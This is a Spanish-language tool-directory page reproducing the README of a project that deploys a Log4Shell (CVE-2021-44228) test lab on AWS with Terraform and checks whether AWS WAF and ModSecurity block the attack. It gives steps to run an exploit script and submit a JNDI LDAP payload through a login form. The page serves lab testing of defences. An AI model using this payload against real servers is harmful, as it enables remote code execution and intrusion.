Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
tf-log4j-aws-poc — Los archivos de este proyecto demuestran una prueba de concepto de la vulnerabilidad log4j (CVE-2021-44228) en AWS utilizando Terraform como medio de infraestructura como código. | Kitploit
Herramientas/GitHubGitHub/moshuum/tf-log4j-aws-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la Nube
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

Los archivos de este proyecto demuestran una prueba de concepto de la vulnerabilidad log4j (CVE-2021-44228) en AWS utilizando Terraform como medio de infraestructura como código.

Ver Repositorio
12hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Readme

Descripción del proyecto

Estos archivos del proyecto demuestran una prueba de concepto de la vulnerabilidad log4j (CVE-2021-44228) en AWS utilizando Terraform como infraestructura como código.

Hay 2 demostraciones en este proyecto:

  1. single-instance contiene un servidor vulnerable; puedes usar tu computadora personal para explotar el servidor. El servidor debe estar protegido con AWS WAF.
  2. double-instance contiene 2 servicios; solo se puede acceder al servidor vulnerable desde el servidor proxy inverso. El proxy inverso debe estar protegido por ModSecurity.

Conclusión: La primera demo demuestra un exploit exitoso usando AWS WAF. La segunda demo fue un intento fallido cuando ModSecurity está implementado. Al eliminar ModSecurity, el exploit será exitoso. Puede deberse a que ModSecurity es un proyecto activo, por lo que las cadenas vulnerables han sido identificadas y filtradas.

Créditos

Este PoC proviene de : https://github.com/kozmer/log4j-shell-poc

Este blog de Medium explica el paso a paso de su intento : https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

Mis pruebas

Personalmente, probé usando Windows + Powershell, la máquina en la nube es Ubuntu 18 LTS. (Explotación con Kali o cualquier Linux)

Requisitos previos

  1. Tener instalado AWS_CLI
  2. Tener instalado Terraform CLI
  3. Tener lista la clave de acceso

CLAVE RSA

Créala a través de la web (nómbrala 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

Obtener la clave de acceso

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Selecciona el usuario > Selecciona la sección security_credentials

Configurar la clave de acceso en la shell

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

Uso

Configurar EC2 en la plataforma de AWS

cd single-instance
terraform init
terraform apply

Después de ejecutarlo, se mostrará una IP / DNS.

Para single-instance, asegúrate de que http:<aws host url>:8080 sea accesible

Para double-instance, asegúrate de que http:<aws host url> sea accesible

* ten en cuenta que levantar 'double-instance' tarda mucho más tiempo; puedes usar journalctl -f después de hacer ssh al sistema para seguir el progreso

Si sigues el journal, "Reached target Cloud-init target." significa que está listo.
exploit

Preparar el cliente remoto / localhost (atacante):

Establece el permiso de ejecución chmod +x ../exploit-script-remote.sh

Ejecuta el script con la variable suministrada
../exploit-script-remote.sh

Nota: el payload se muestra al final del script, similar a ${jndi:ldap://<ip-address>:1389/a}

Servidor vulnerable:

Visita http:<aws host url>:8080

Copia el payload en el campo 'username' y luego envía los formularios

exploit

Nota

Archivo JDK: he verificado que la integridad de la fuente de baidu tiene el mismo hash que el de Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

Referencias

Instancia: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

Instancia spot: https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[clave SSH sobre la marcha] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

Plantillas: https://spacelift.io/blog/terraform-templates

ID de AZ de AWS: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

Cosas aprendidas

  • (mucho tiempo invertido) no uses provision como script bash / usa una plantilla en su lugar (podrías ver mejor si se podrían bajar privilegios)
  • La clave RSA generada desde la web es más fiable que la generada manualmente desde aws-cli si se usa .pem (la compatibilidad del archivo .pem con el cliente SSH o el servidor de AWS); de lo contrario, usa una clave RSA normal sin pem.
  • Logré usar una instancia spot en lugar de una normal para ahorrar algo de coste
  • Exponer un puerto con Docker puede sobrescribir las reglas del firewall
  • (mucho tiempo invertido) Configurar y solucionar problemas de redes lleva mucho tiempo: Route y VPC necesitan 1 grupo de seguridad, y el host EC2 necesita otro grupo de seguridad; y ambos grupos de seguridad deben apuntar a la VPC
  • wget no puede hacer sesiones de descarga largas

# Registro de tiempo

  • Inicio 06 Jun 11AM UTC+0800 - 07 Jun 4AM (Completado poc+tf+aws -waf) - 17 horas
  • Inicio 07 Jun 1PM UTC+0800 - 08 Jun 5AM (Completado el segundo caso, donde se usa un proxy inverso)
Descargar herramienta